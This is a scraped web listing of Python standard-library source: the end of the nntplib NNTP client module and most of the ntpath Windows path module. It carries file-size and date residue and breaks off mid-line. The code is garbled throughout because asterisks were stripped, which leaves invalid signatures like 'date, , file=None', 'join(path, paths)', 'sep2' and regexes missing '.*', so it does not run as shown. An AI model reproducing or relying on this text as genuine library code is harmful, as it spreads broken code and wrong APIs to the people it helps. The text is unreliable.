self.nntp_version = 1 self.nntp_implementation = None try: resp, caps = self.capabilities() except (NNTPPermanentError, NNTPTemporaryError): # Server doesn't support capabilities self._caps = {} else: self._caps = caps if 'VERSION' in caps: # The server can advertise several supported versions, # choose the highest. self.nntp_version = max(map(int, caps['VERSION'])) if 'IMPLEMENTATION' in caps: self.nntp_implementation = ' '.join(caps['IMPLEMENTATION']) return self._caps def set_debuglevel(self, level): """Set the debugging level. Argument 'level' means: 0: no debugging output (default) 1: print commands and responses but not body text etc. 2: also print raw lines read and sent before stripping CR/LF""" self.debugging = level debug = set_debuglevel def _putline(self, line): """Internal: send one line to the server, appending CRLF. The `line` must be a bytes-like object.""" line = line + _CRLF if self.debugging > 1: print('put', repr(line)) self.file.write(line) self.file.flush() def _putcmd(self, line): """Internal: send one command to the server (through _putline()). The `line` must be a unicode string.""" if self.debugging: print('cmd', repr(line)) line = line.encode(self.encoding, self.errors) self._putline(line) def _getline(self, strip_crlf=True): """Internal: return one line from the server, stripping _CRLF. Raise EOFError if the connection is closed. Returns a bytes object.""" line = self.file.readline(_MAXLINE +1) if len(line) > _MAXLINE: raise NNTPDataError('line too long') if self.debugging > 1: print('get', repr(line)) if not line: raise EOFError if strip_crlf: if line[-2:] == _CRLF: line = line[:-2] elif line[-1:] in _CRLF: line = line[:-1] return line def _getresp(self): """Internal: get a response from the server. Raise various errors if the response indicates an error. Returns a unicode string.""" resp = self._getline() if self.debugging: print('resp', repr(resp)) resp = resp.decode(self.encoding, self.errors) c = resp[:1] if c == '4': raise NNTPTemporaryError(resp) if c == '5': raise NNTPPermanentError(resp) if c not in '123': raise NNTPProtocolError(resp) return resp def _getlongresp(self, file=None): """Internal: get a response plus following text from the server. Raise various errors if the response indicates an error. Returns a (response, lines) tuple where `response` is a unicode string and `lines` is a list of bytes objects. If `file` is a file-like object, it must be open in binary mode. """ openedFile = None try: # If a string was passed then open a file with that name if isinstance(file, (str, bytes)): openedFile = file = open(file, "wb") resp = self._getresp() if resp[:3] not in _LONGRESP: raise NNTPReplyError(resp) lines = [] if file is not None: # XXX lines = None instead? terminators = (b'.' + _CRLF, b'.\n') while 1: line = self._getline(False) if line in terminators: break if line.startswith(b'..'): line = line[1:] file.write(line) else: terminator = b'.' while 1: line = self._getline() if line == terminator: break if line.startswith(b'..'): line = line[1:] lines.append(line) finally: # If this method created the file, then it must close it if openedFile: openedFile.close() return resp, lines def _shortcmd(self, line): """Internal: send a command and get the response. Same return value as _getresp().""" self._putcmd(line) return self._getresp() def _longcmd(self, line, file=None): """Internal: send a command and get the response plus following text. Same return value as _getlongresp().""" self._putcmd(line) return self._getlongresp(file) def _longcmdstring(self, line, file=None): """Internal: send a command and get the response plus following text. Same as _longcmd() and _getlongresp(), except that the returned `lines` are unicode strings rather than bytes objects. """ self._putcmd(line) resp, list = self._getlongresp(file) return resp, [line.decode(self.encoding, self.errors) for line in list] def _getoverviewfmt(self): """Internal: get the overview format. Queries the server if not already done, else returns the cached value.""" try: return self._cachedoverviewfmt except AttributeError: pass try: resp, lines = self._longcmdstring("LIST OVERVIEW.FMT") except NNTPPermanentError: # Not supported by server? fmt = _DEFAULT_OVERVIEW_FMT[:] else: fmt = _parse_overview_fmt(lines) self._cachedoverviewfmt = fmt return fmt def _grouplist(self, lines): # Parse lines into "group last first flag" return [GroupInfo(line.split()) for line in lines] def capabilities(self): """Process a CAPABILITIES command. Not supported by all servers. Return: - resp: server response if successful - caps: a dictionary mapping capability names to lists of tokens (for example {'VERSION': ['2'], 'OVER': [], LIST: ['ACTIVE', 'HEADERS'] }) """ caps = {} resp, lines = self._longcmdstring("CAPABILITIES") for line in lines: name, tokens = line.split() caps[name] = tokens return resp, caps def newgroups(self, date, , file=None): """Process a NEWGROUPS command. Arguments: - date: a date or datetime object Return: - resp: server response if successful - list: list of newsgroup names """ if not isinstance(date, (datetime.date, datetime.date)): raise TypeError( "the date parameter must be a date or datetime object, " "not '{:40}'".format(date.__class__.__name__)) date_str, time_str = _unparse_datetime(date, self.nntp_version < 2) cmd = 'NEWGROUPS {0} {1}'.format(date_str, time_str) resp, lines = self._longcmdstring(cmd, file) return resp, self._grouplist(lines) def newnews(self, group, date, , file=None): """Process a NEWNEWS command. Arguments: - group: group name or '' - date: a date or datetime object Return: - resp: server response if successful - list: list of message ids """ if not isinstance(date, (datetime.date, datetime.date)): raise TypeError( "the date parameter must be a date or datetime object, " "not '{:40}'".format(date.__class__.__name__)) date_str, time_str = _unparse_datetime(date, self.nntp_version < 2) cmd = 'NEWNEWS {0} {1} {2}'.format(group, date_str, time_str) return self._longcmdstring(cmd, file) def list(self, group_pattern=None, , file=None): """Process a LIST or LIST ACTIVE command. Arguments: - group_pattern: a pattern indicating which groups to query - file: Filename string or file object to store the result in Returns: - resp: server response if successful - list: list of (group, last, first, flag) (strings) """ if group_pattern is not None: command = 'LIST ACTIVE ' + group_pattern else: command = 'LIST' resp, lines = self._longcmdstring(command, file) return resp, self._grouplist(lines) def _getdescriptions(self, group_pattern, return_all): line_pat = re.compile('^(?P<group>[^ \t]+)[ \t]+(.)$') # Try the more std (acc. to RFC2980) LIST NEWSGROUPS first resp, lines = self._longcmdstring('LIST NEWSGROUPS ' + group_pattern) if not resp.startswith('215'): # Now the deprecated XGTITLE. This either raises an error # or succeeds with the same output structure as LIST # NEWSGROUPS. resp, lines = self._longcmdstring('XGTITLE ' + group_pattern) groups = {} for raw_line in lines: match = line_pat.search(raw_line.strip()) if match: name, desc = match.group(1, 2) if not return_all: return desc groups[name] = desc if return_all: return resp, groups else: # Nothing found return '' def description(self, group): """Get a description for a single group. If more than one group matches ('group' is a pattern), return the first. If no group matches, return an empty string. This elides the response code from the server, since it can only be '215' or '285' (for xgtitle) anyway. If the response code is needed, use the 'descriptions' method. NOTE: This neither checks for a wildcard in 'group' nor does it check whether the group actually exists.""" return self._getdescriptions(group, False) def descriptions(self, group_pattern): """Get descriptions for a range of groups.""" return self._getdescriptions(group_pattern, True) def group(self, name): """Process a GROUP command. Argument: - group: the group name Returns: - resp: server response if successful - count: number of articles - first: first article number - last: last article number - name: the group name """ resp = self._shortcmd('GROUP ' + name) if not resp.startswith('211'): raise NNTPReplyError(resp) words = resp.split() count = first = last = 0 n = len(words) if n > 1: count = words[1] if n > 2: first = words[2] if n > 3: last = words[3] if n > 4: name = words[4].lower() return resp, int(count), int(first), int(last), name def help(self, , file=None): """Process a HELP command. Argument: - file: Filename string or file object to store the result in Returns: - resp: server response if successful - list: list of strings returned by the server in response to the HELP command """ return self._longcmdstring('HELP', file) def _statparse(self, resp): """Internal: parse the response line of a STAT, NEXT, LAST, ARTICLE, HEAD or BODY command.""" if not resp.startswith('22'): raise NNTPReplyError(resp) words = resp.split() art_num = int(words[1]) message_id = words[2] return resp, art_num, message_id def _statcmd(self, line): """Internal: process a STAT, NEXT or LAST command.""" resp = self._shortcmd(line) return self._statparse(resp) def stat(self, message_spec=None): """Process a STAT command. Argument: - message_spec: article number or message id (if not specified, the current article is selected) Returns: - resp: server response if successful - art_num: the article number - message_id: the message id """ if message_spec: return self._statcmd('STAT {0}'.format(message_spec)) else: return self._statcmd('STAT') def next(self): """Process a NEXT command. No arguments. Return as for STAT.""" return self._statcmd('NEXT') def last(self): """Process a LAST command. No arguments. Return as for STAT.""" return self._statcmd('LAST') def _artcmd(self, line, file=None): """Internal: process a HEAD, BODY or ARTICLE command.""" resp, lines = self._longcmd(line, file) resp, art_num, message_id = self._statparse(resp) return resp, ArticleInfo(art_num, message_id, lines) def head(self, message_spec=None, , file=None): """Process a HEAD command. Argument: - message_spec: article number or message id - file: filename string or file object to store the headers in Returns: - resp: server response if successful - ArticleInfo: (article number, message id, list of header lines) """ if message_spec is not None: cmd = 'HEAD {0}'.format(message_spec) else: cmd = 'HEAD' return self._artcmd(cmd, file) def body(self, message_spec=None, , file=None): """Process a BODY command. Argument: - message_spec: article number or message id - file: filename string or file object to store the body in Returns: - resp: server response if successful - ArticleInfo: (article number, message id, list of body lines) """ if message_spec is not None: cmd = 'BODY {0}'.format(message_spec) else: cmd = 'BODY' return self._artcmd(cmd, file) def article(self, message_spec=None, , file=None): """Process an ARTICLE command. Argument: - message_spec: article number or message id - file: filename string or file object to store the article in Returns: - resp: server response if successful - ArticleInfo: (article number, message id, list of article lines) """ if message_spec is not None: cmd = 'ARTICLE {0}'.format(message_spec) else: cmd = 'ARTICLE' return self._artcmd(cmd, file) def slave(self): """Process a SLAVE command. Returns: - resp: server response if successful """ return self._shortcmd('SLAVE') def xhdr(self, hdr, str, , file=None): """Process an XHDR command (optional server extension). Arguments: - hdr: the header type (e.g. 'subject') - str: an article nr, a message id, or a range nr1-nr2 - file: Filename string or file object to store the result in Returns: - resp: server response if successful - list: list of (nr, value) strings """ pat = re.compile('^([0-9]+) ?(.)\n?') resp, lines = self._longcmdstring('XHDR {0} {1}'.format(hdr, str), file) def remove_number(line): m = pat.match(line) return m.group(1, 2) if m else line return resp, [remove_number(line) for line in lines] def xover(self, start, end, , file=None): """Process an XOVER command (optional server extension) Arguments: - start: start of range - end: end of range - file: Filename string or file object to store the result in Returns: - resp: server response if successful - list: list of dicts containing the response fields """ resp, lines = self._longcmdstring('XOVER {0}-{1}'.format(start, end), file) fmt = self._getoverviewfmt() return resp, _parse_overview(lines, fmt) def over(self, message_spec, , file=None): """Process an OVER command. If the command isn't supported, fall back to XOVER. Arguments: - message_spec: - either a message id, indicating the article to fetch information about - or a (start, end) tuple, indicating a range of article numbers; if end is None, information up to the newest message will be retrieved - or None, indicating the current article number must be used - file: Filename string or file object to store the result in Returns: - resp: server response if successful - list: list of dicts containing the response fields NOTE: the "message id" form isn't supported by XOVER """ cmd = 'OVER' if 'OVER' in self._caps else 'XOVER' if isinstance(message_spec, (tuple, list)): start, end = message_spec cmd += ' {0}-{1}'.format(start, end or '') elif message_spec is not None: cmd = cmd + ' ' + message_spec resp, lines = self._longcmdstring(cmd, file) fmt = self._getoverviewfmt() return resp, _parse_overview(lines, fmt) def xgtitle(self, group, , file=None): """Process an XGTITLE command (optional server extension) Arguments: - group: group name wildcard (i.e. news.) Returns: - resp: server response if successful - list: list of (name,title) strings""" warnings.warn("The XGTITLE extension is not actively used, " "use descriptions() instead", DeprecationWarning, 2) line_pat = re.compile('^([^ \t]+)[ \t]+(.*)$') resp, raw_lines = self._longcmdstring('XGTITLE ' + group, file) lines = [] for raw_line in raw_lines: match = line_pat.search(raw_line.strip()) if match: lines.append(match.group(1, 2)) return resp, lines def xpath(self, id): """Process an XPATH command (optional server extension) Arguments: - id: Message id of article Returns: resp: server response if successful path: directory path to article """ warnings.warn("The XPATH extension is not actively used", DeprecationWarning, 2) resp = self._shortcmd('XPATH {0}'.format(id)) if not resp.startswith('223'): raise NNTPReplyError(resp) try: [resp_num, path] = resp.split() except ValueError: raise NNTPReplyError(resp) from None else: return resp, path def date(self): """Process the DATE command. Returns: - resp: server response if successful - date: datetime object """ resp = self._shortcmd("DATE") if not resp.startswith('111'): raise NNTPReplyError(resp) elem = resp.split() if len(elem) != 2: raise NNTPDataError(resp) date = elem[1] if len(date) != 14: raise NNTPDataError(resp) return resp, _parse_datetime(date, None) def _post(self, command, f): resp = self._shortcmd(command) # Raises a specific exception if posting is not allowed if not resp.startswith('3'): raise NNTPReplyError(resp) if isinstance(f, (bytes, bytearray)): f = f.splitlines() # We don't use _putline() because: # - we don't want additional CRLF if the file or iterable is already # in the right format # - we don't want a spurious flush() after each line is written for line in f: if not line.endswith(_CRLF): line = line.rstrip(b"\r\n") + _CRLF if line.startswith(b'.'): line = b'.' + line self.file.write(line) self.file.write(b".\r\n") self.file.flush() return self._getresp() def post(self, data): """Process a POST command. Arguments: - data: bytes object, iterable or file containing the article Returns: - resp: server response if successful""" return self._post('POST', data) def ihave(self, message_id, data): """Process an IHAVE command. Arguments: - message_id: message-id of the article - data: file containing the article Returns: - resp: server response if successful Note that if the server refuses the article an exception is raised.""" return self._post('IHAVE {0}'.format(message_id), data) def _close(self): self.file.close() del self.file def quit(self): """Process a QUIT command and close the socket. Returns: - resp: server response if successful""" try: resp = self._shortcmd('QUIT') finally: self._close() return resp def login(self, user=None, password=None, usenetrc=True): if self.authenticated: raise ValueError("Already logged in.") if not user and not usenetrc: raise ValueError( "At least one of `user` and `usenetrc` must be specified") # If no login/password was specified but netrc was requested, # try to get them from ~/.netrc # Presume that if .netrc has an entry, NNRP authentication is required. try: if usenetrc and not user: import netrc credentials = netrc.netrc() auth = credentials.authenticators(self.host) if auth: user = auth[0] password = auth[2] except OSError: pass # Perform NNTP authentication if needed. if not user: return resp = self._shortcmd('authinfo user ' + user) if resp.startswith('381'): if not password: raise NNTPReplyError(resp) else: resp = self._shortcmd('authinfo pass ' + password) if not resp.startswith('281'): raise NNTPPermanentError(resp) # Capabilities might have changed after login self._caps = None self.getcapabilities() # Attempt to send mode reader if it was requested after login. # Only do so if we're not in reader mode already. if self.readermode_afterauth and 'READER' not in self._caps: self._setreadermode() # Capabilities might have changed after MODE READER self._caps = None self.getcapabilities() def _setreadermode(self): try: self.welcome = self._shortcmd('mode reader') except NNTPPermanentError: # Error 5xx, probably 'not implemented' pass except NNTPTemporaryError as e: if e.response.startswith('480'): # Need authorization before 'mode reader' self.readermode_afterauth = True else: raise if _have_ssl: def starttls(self, context=None): """Process a STARTTLS command. Arguments: - context: SSL context to use for the encrypted connection """ # Per RFC 4642, STARTTLS MUST NOT be sent after authentication or if # a TLS session already exists. if self.tls_on: raise ValueError("TLS is already enabled.") if self.authenticated: raise ValueError("TLS cannot be started after authentication.") resp = self._shortcmd('STARTTLS') if resp.startswith('382'): self.file.close() self.sock = _encrypt_on(self.sock, context, self.host) self.file = self.sock.makefile("rwb") self.tls_on = True # Capabilities may change after TLS starts up, so ask for them # again. self._caps = None self.getcapabilities() else: raise NNTPError("TLS failed to start.") class NNTP(_NNTPBase): def __init__(self, host, port=NNTP_PORT, user=None, password=None, readermode=None, usenetrc=False, timeout=_GLOBAL_DEFAULT_TIMEOUT): """Initialize an instance. Arguments: - host: hostname to connect to - port: port to connect to (default the standard NNTP port) - user: username to authenticate with - password: password to use with username - readermode: if true, send 'mode reader' command after connecting. - usenetrc: allow loading username and password from ~/.netrc file if not specified explicitly - timeout: timeout (in seconds) used for socket connections readermode is sometimes necessary if you are connecting to an NNTP server on the local machine and intend to call reader-specific commands, such as `group'. If you get unexpected NNTPPermanentErrors, you might need to set readermode. """ self.host = host self.port = port self.sock = socket.create_connection((host, port), timeout) file = None try: file = self.sock.makefile("rwb") _NNTPBase.__init__(self, file, host, readermode, timeout) if user or usenetrc: self.login(user, password, usenetrc) except: if file: file.close() self.sock.close() raise def _close(self): try: _NNTPBase._close(self) finally: self.sock.close() if _have_ssl: class NNTP_SSL(_NNTPBase): def __init__(self, host, port=NNTP_SSL_PORT, user=None, password=None, ssl_context=None, readermode=None, usenetrc=False, timeout=_GLOBAL_DEFAULT_TIMEOUT): """This works identically to NNTP.__init__, except for the change in default port and the `ssl_context` argument for SSL connections. """ self.sock = socket.create_connection((host, port), timeout) file = None try: self.sock = _encrypt_on(self.sock, ssl_context, host) file = self.sock.makefile("rwb") _NNTPBase.__init__(self, file, host, readermode=readermode, timeout=timeout) if user or usenetrc: self.login(user, password, usenetrc) except: if file: file.close() self.sock.close() raise def _close(self): try: _NNTPBase._close(self) finally: self.sock.close() __all__.append("NNTP_SSL") # Test retrieval when run as a script. if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description="""\ nntplib built-in demo - display the latest articles in a newsgroup""") parser.add_argument('-g', '--group', default='gmane.comp.python.general', help='group to fetch messages from (default: %(default)s)') parser.add_argument('-s', '--server', default='news.gmane.io', help='NNTP server hostname (default: %(default)s)') parser.add_argument('-p', '--port', default=-1, type=int, help='NNTP port number (default: %s / %s)' % (NNTP_PORT, NNTP_SSL_PORT)) parser.add_argument('-n', '--nb-articles', default=10, type=int, help='number of articles to fetch (default: %(default)s)') parser.add_argument('-S', '--ssl', action='store_true', default=False, help='use NNTP over SSL') args = parser.parse_args() port = args.port if not args.ssl: if port == -1: port = NNTP_PORT s = NNTP(host=args.server, port=port) else: if port == -1: port = NNTP_SSL_PORT s = NNTP_SSL(host=args.server, port=port) caps = s.getcapabilities() if 'STARTTLS' in caps: s.starttls() resp, count, first, last, name = s.group(args.group) print('Group', name, 'has', count, 'articles, range', first, 'to', last) def cut(s, lim): if len(s) > lim: s = s[:lim - 4] + "..." return s first = str(int(last) - args.nb_articles + 1) resp, overviews = s.xover(first, last) for artnum, over in overviews: author = decode_header(over['from']).split('<', 1)[0] subject = decode_header(over['subject']) lines = int(over[':lines']) print("{:7} {:20} {:42} ({})".format( artnum, cut(author, 20), cut(subject, 42), lines) ) s.quit()	42.08 KB	2024-04-17 17:55
📄 ntpath.py # Module 'ntpath' -- common operations on WinNT/Win95 pathnames """Common pathname manipulations, WindowsNT/95 version. Instead of importing this module directly, import os and refer to this module as os.path. """ # strings representing various path-related bits and pieces # These are primarily for export; internally, they are hardcoded. # Should be set before imports for resolving cyclic dependency. curdir = '.' pardir = '..' extsep = '.' sep = '\\' pathsep = ';' altsep = '/' defpath = '.;C:\\bin' devnull = 'nul' import os import sys import stat import genericpath from genericpath import * __all__ = ["normcase","isabs","join","splitdrive","split","splitext", "basename","dirname","commonprefix","getsize","getmtime", "getatime","getctime", "islink","exists","lexists","isdir","isfile", "ismount", "expanduser","expandvars","normpath","abspath", "curdir","pardir","sep","pathsep","defpath","altsep", "extsep","devnull","realpath","supports_unicode_filenames","relpath", "samefile", "sameopenfile", "samestat", "commonpath"] def _get_bothseps(path): if isinstance(path, bytes): return b'\\/' else: return '\\/' # Normalize the case of a pathname and map slashes to backslashes. # Other normalizations (such as optimizing '../' away) are not done # (this is done by normpath). def normcase(s): """Normalize case of pathname. Makes all characters lowercase and all slashes into backslashes.""" s = os.fspath(s) try: if isinstance(s, bytes): return s.replace(b'/', b'\\').lower() else: return s.replace('/', '\\').lower() except (TypeError, AttributeError): if not isinstance(s, (bytes, str)): raise TypeError("normcase() argument must be str or bytes, " "not %r" % s.__class__.__name__) from None raise # Return whether a path is absolute. # Trivial in Posix, harder on Windows. # For Windows it is absolute if it starts with a slash or backslash (current # volume), or if a pathname after the volume-letter-and-colon or UNC-resource # starts with a slash or backslash. def isabs(s): """Test whether a path is absolute""" s = os.fspath(s) s = splitdrive(s)[1] return len(s) > 0 and s[0] in _get_bothseps(s) # Join two (or more) paths. def join(path, paths): path = os.fspath(path) if isinstance(path, bytes): sep = b'\\' seps = b'\\/' colon = b':' else: sep = '\\' seps = '\\/' colon = ':' try: if not paths: path[:0] + sep #23780: Ensure compatible data type even if p is null. result_drive, result_path = splitdrive(path) for p in map(os.fspath, paths): p_drive, p_path = splitdrive(p) if p_path and p_path[0] in seps: # Second path is absolute if p_drive or not result_drive: result_drive = p_drive result_path = p_path continue elif p_drive and p_drive != result_drive: if p_drive.lower() != result_drive.lower(): # Different drives => ignore the first path entirely result_drive = p_drive result_path = p_path continue # Same drive in different case result_drive = p_drive # Second path is relative to the first if result_path and result_path[-1] not in seps: result_path = result_path + sep result_path = result_path + p_path ## add separator between UNC and non-absolute path if (result_path and result_path[0] not in seps and result_drive and result_drive[-1:] != colon): return result_drive + sep + result_path return result_drive + result_path except (TypeError, AttributeError, BytesWarning): genericpath._check_arg_types('join', path, paths) raise # Split a path in a drive specification (a drive letter followed by a # colon) and the path specification. # It is always true that drivespec + pathspec == p def splitdrive(p): """Split a pathname into drive/UNC sharepoint and relative path specifiers. Returns a 2-tuple (drive_or_unc, path); either part may be empty. If you assign result = splitdrive(p) It is always true that: result[0] + result[1] == p If the path contained a drive letter, drive_or_unc will contain everything up to and including the colon. e.g. splitdrive("c:/dir") returns ("c:", "/dir") If the path contained a UNC path, the drive_or_unc will contain the host name and share up to but not including the fourth directory separator character. e.g. splitdrive("//host/computer/dir") returns ("//host/computer", "/dir") Paths cannot contain both a drive letter and a UNC path. """ p = os.fspath(p) if len(p) >= 2: if isinstance(p, bytes): sep = b'\\' altsep = b'/' colon = b':' else: sep = '\\' altsep = '/' colon = ':' normp = p.replace(altsep, sep) if (normp[0:2] == sep2) and (normp[2:3] != sep): # is a UNC path: # vvvvvvvvvvvvvvvvvvvv drive letter or UNC path # \\machine\mountpoint\directory\etc\... # directory ^^^^^^^^^^^^^^^ index = normp.find(sep, 2) if index == -1: return p[:0], p index2 = normp.find(sep, index + 1) # a UNC path can't have two slashes in a row # (after the initial two) if index2 == index + 1: return p[:0], p if index2 == -1: index2 = len(p) return p[:index2], p[index2:] if normp[1:2] == colon: return p[:2], p[2:] return p[:0], p # Split a path in head (everything up to the last '/') and tail (the # rest). After the trailing '/' is stripped, the invariant # join(head, tail) == p holds. # The resulting head won't end in '/' unless it is the root. def split(p): """Split a pathname. Return tuple (head, tail) where tail is everything after the final slash. Either part may be empty.""" p = os.fspath(p) seps = _get_bothseps(p) d, p = splitdrive(p) # set i to index beyond p's last slash i = len(p) while i and p[i-1] not in seps: i -= 1 head, tail = p[:i], p[i:] # now tail has no slashes # remove trailing slashes from head, unless it's all slashes head = head.rstrip(seps) or head return d + head, tail # Split a path in root and extension. # The extension is everything starting at the last dot in the last # pathname component; the root is everything before that. # It is always true that root + ext == p. def splitext(p): p = os.fspath(p) if isinstance(p, bytes): return genericpath._splitext(p, b'\\', b'/', b'.') else: return genericpath._splitext(p, '\\', '/', '.') splitext.__doc__ = genericpath._splitext.__doc__ # Return the tail (basename) part of a path. def basename(p): """Returns the final component of a pathname""" return split(p)[1] # Return the head (dirname) part of a path. def dirname(p): """Returns the directory component of a pathname""" return split(p)[0] # Is a path a symbolic link? # This will always return false on systems where os.lstat doesn't exist. def islink(path): """Test whether a path is a symbolic link. This will always return false for Windows prior to 6.0. """ try: st = os.lstat(path) except (OSError, AttributeError): return False return stat.S_ISLNK(st.st_mode) # Being true for dangling symbolic links is also useful. def lexists(path): """Test whether a path exists. Returns True for broken symbolic links""" try: st = os.lstat(path) except OSError: return False return True # Is a path a mount point? # Any drive letter root (eg c:\) # Any share UNC (eg \\server\share) # Any volume mounted on a filesystem folder # # No one method detects all three situations. Historically we've lexically # detected drive letter roots and share UNCs. The canonical approach to # detecting mounted volumes (querying the reparse tag) fails for the most # common case: drive letter roots. The alternative which uses GetVolumePathName # fails if the drive letter is the result of a SUBST. try: from nt import _getvolumepathname except ImportError: _getvolumepathname = None def ismount(path): """Test whether a path is a mount point (a drive root, the root of a share, or a mounted volume)""" path = os.fspath(path) seps = _get_bothseps(path) path = abspath(path) root, rest = splitdrive(path) if root and root[0] in seps: return (not rest) or (rest in seps) if rest in seps: return True if _getvolumepathname: return path.rstrip(seps) == _getvolumepathname(path).rstrip(seps) else: return False # Expand paths beginning with '~' or '~user'. # '~' means $HOME; '~user' means that user's home directory. # If the path doesn't begin with '~', or if the user or $HOME is unknown, # the path is returned unchanged (leaving error reporting to whatever # function is called with the expanded path as argument). # See also module 'glob' for expansion of , ? and [...] in pathnames. # (A function should also be defined to do full sh-style environment # variable expansion.) def expanduser(path): """Expand ~ and ~user constructs. If user or $HOME is unknown, do nothing.""" path = os.fspath(path) if isinstance(path, bytes): tilde = b'~' else: tilde = '~' if not path.startswith(tilde): return path i, n = 1, len(path) while i < n and path[i] not in _get_bothseps(path): i += 1 if 'HOME' in os.environ: userhome = os.environ['HOME'] elif 'USERPROFILE' in os.environ: userhome = os.environ['USERPROFILE'] elif not 'HOMEPATH' in os.environ: return path else: try: drive = os.environ['HOMEDRIVE'] except KeyError: drive = '' userhome = join(drive, os.environ['HOMEPATH']) if isinstance(path, bytes): userhome = os.fsencode(userhome) if i != 1: #~user userhome = join(dirname(userhome), path[1:i]) return userhome + path[i:] # Expand paths containing shell variable substitutions. # The following rules apply: # - no expansion within single quotes # - '$$' is translated into '$' # - '%%' is translated into '%' if '%%' are not seen in %var1%%var2% # - ${varname} is accepted. # - $varname is accepted. # - %varname% is accepted. # - varnames can be made out of letters, digits and the characters '_-' # (though is not verified in the ${varname} and %varname% cases) # XXX With COMMAND.COM you can use any characters in a variable name, # XXX except '^\|<>='. def expandvars(path): """Expand shell variables of the forms $var, ${var} and %var%. Unknown variables are left unchanged.""" path = os.fspath(path) if isinstance(path, bytes): if b'$' not in path and b'%' not in path: return path import string varchars = bytes(string.ascii_letters + string.digits + '_-', 'ascii') quote = b'\'' percent = b'%' brace = b'{' rbrace = b'}' dollar = b'$' environ = getattr(os, 'environb', None) else: if '$' not in path and '%' not in path: return path import string varchars = string.ascii_letters + string.digits + '_-' quote = '\'' percent = '%' brace = '{' rbrace = '}' dollar = '$' environ = os.environ res = path[:0] index = 0 pathlen = len(path) while index < pathlen: c = path[index:index+1] if c == quote: # no expansion within single quotes path = path[index + 1:] pathlen = len(path) try: index = path.index(c) res += c + path[:index + 1] except ValueError: res += c + path index = pathlen - 1 elif c == percent: # variable or '%' if path[index + 1:index + 2] == percent: res += c index += 1 else: path = path[index+1:] pathlen = len(path) try: index = path.index(percent) except ValueError: res += percent + path index = pathlen - 1 else: var = path[:index] try: if environ is None: value = os.fsencode(os.environ[os.fsdecode(var)]) else: value = environ[var] except KeyError: value = percent + var + percent res += value elif c == dollar: # variable or '$$' if path[index + 1:index + 2] == dollar: res += c index += 1 elif path[index + 1:index + 2] == brace: path = path[index+2:] pathlen = len(path) try: index = path.index(rbrace) except ValueError: res += dollar + brace + path index = pathlen - 1 else: var = path[:index] try: if environ is None: value = os.fsencode(os.environ[os.fsdecode(var)]) else: value = environ[var] except KeyError: value = dollar + brace + var + rbrace res += value else: var = path[:0] index += 1 c = path[index:index + 1] while c and c in varchars: var += c index += 1 c = path[index:index + 1] try: if environ is None: value = os.fsencode(os.environ[os.fsdecode(var)]) else: value = environ[var] except KeyError: value = dollar + var res += value if c: index -= 1 else: res += c index += 1 return res # Normalize a path, e.g. A//B, A/./B and A/foo/../B all become A\B. # Previously, this function also truncated pathnames to 8+3 format, # but as this module is called "ntpath", that's obviously wrong! def normpath(path): """Normalize path, eliminating double slashes, etc.""" path = os.fspath(path) if isinstance(path, bytes): sep = b'\\' altsep = b'/' curdir = b'.' pardir = b'..' special_prefixes = (b'\\\\.\\', b'\\\\?\\') else: sep = '\\' altsep = '/' curdir = '.' pardir = '..' special_prefixes = ('\\\\.\\', '\\\\?\\') if path.startswith(special_prefixes): # in the case of paths with these prefixes: # \\.\ -> device names # \\?\ -> literal paths # do not do any normalization, but return the path unchanged return path path = path.replace(altsep, sep) prefix, path = splitdrive(path) # collapse initial backslashes if path.startswith(sep): prefix += sep path = path.lstrip(sep) comps = path.split(sep) i = 0 while i < len(comps): if not comps[i] or comps[i] == curdir: del comps[i] elif comps[i] == pardir: if i > 0 and comps[i-1] != pardir: del comps[i-1:i+1] i -= 1 elif i == 0 and prefix.endswith(sep): del comps[i] else: i += 1 else: i += 1 # If the path is now empty, substitute '.' if not prefix and not comps: comps.append(curdir) return prefix + sep.join(comps) def _abspath_fallback(path): """Return the absolute version of a path as a fallback function in case `nt._getfullpathname` is not available or raises OSError. See bpo-31047 for more. """ path = os.fspath(path) if not isabs(path): if isinstance(path, bytes): cwd = os.getcwdb() else: cwd = os.getcwd() path = join(cwd, path) return normpath(path) # Return an absolute path. try: from nt import _getfullpathname except ImportError: # not running on Windows - mock up something sensible abspath = _abspath_fallback else: # use native Windows method on Windows def abspath(path): """Return the absolute version of a path.""" try: return normpath(_getfullpathname(path)) except (OSError, ValueError): return _abspath_fallback(path) # realpath is a no-op on systems without islink support realpath = abspath # Win9x family and earlier have no Unicode filename support. supports_unicode_filenames = (hasattr(sys, "getwindowsversion") and sys.getwindowsversion()[3] >= 2) def relpath(path, start=None): """Return a relative version of a path""" path = os.fspath(path) if isinstance(path, bytes): sep = b'\\' curdir = b'.' pardir = b'..' else: sep = '\\' curdir = '.' pardir = '..' if start is None: start = curdir if not path: raise ValueError("no path specified") start = os.fspath(start) try: start_abs = abspath(normpath(start)) path_abs = abspath(normpath(path)) start_drive, start_rest = splitdrive(start_abs) path_drive, path_rest = splitdrive(path_abs) if normcase(start_drive) != normcase(path_drive): raise ValueError("path is on mount %r, start on mount %r" % ( path_drive, start_drive)) start_list = [x for x in start_rest.split(sep) if x] path_list = [x for x in path_rest.split(sep) if x] # Work out how much of the filepath is shared by start and path. i = 0 for e1, e2 in zip(start_list, path_list): if normcase(e1) != normcase(e2): break i += 1 rel_list = [pardir] (len(start_list)-i) + path_list[i:] if not rel_list: return curdir return join(rel_list) except (TypeError, ValueError, AttributeError, BytesWarning, DeprecationWarning): genericpath._check_arg_types('relpath', path, start) raise # Return the longest common sub-path of the sequence of paths given as input. # The function is case-insensitive and 'separator-insensitive', i.e. if the # only difference between two paths is the use of '\' versus '/' as separator, # they are deemed to be equal. # # However, the returned path will have the standard '\' separator (even if the # given paths had the alternative '/' separator) and will have the case of the # first path given in the sequence. Additionally, any trailing separator is # stripped from the returned path. def commonpath(paths): """Given a sequence of path names, returns the longest common sub-path.""" if not paths: raise ValueError('commonpath() arg is an empty sequence') paths = tuple(map(os.fspath, paths)) if isinstance(paths[0], bytes): sep = b'\\' altsep = b'/' curdir = b'.' else: sep = '\\' altsep = '/' curdir = '.' try: drivesplits = [splitdrive(p.replace(altsep, sep).lower()) for p in paths] split_paths = [p.split(sep) for d, p in drivesplits] try: isabs, = set(p[:1] == sep for d, p in drivesplits) except ValueError: raise ValueError("Can't mix absolute and relative paths") from None # Check that all drive letters or UNC paths match. The check is made only # now otherwise type errors for mixing strings and bytes would not be # caught. if len(set(d for d, p in drivesplits)) != 1: raise ValueError("Paths don't have the same drive") drive, path = splitdrive(paths[0].replace(altsep, sep)) common = path.split(sep) common = [c for c in common if c and c != curdir] split_paths = [[c for c in s if c and c != curdir] for 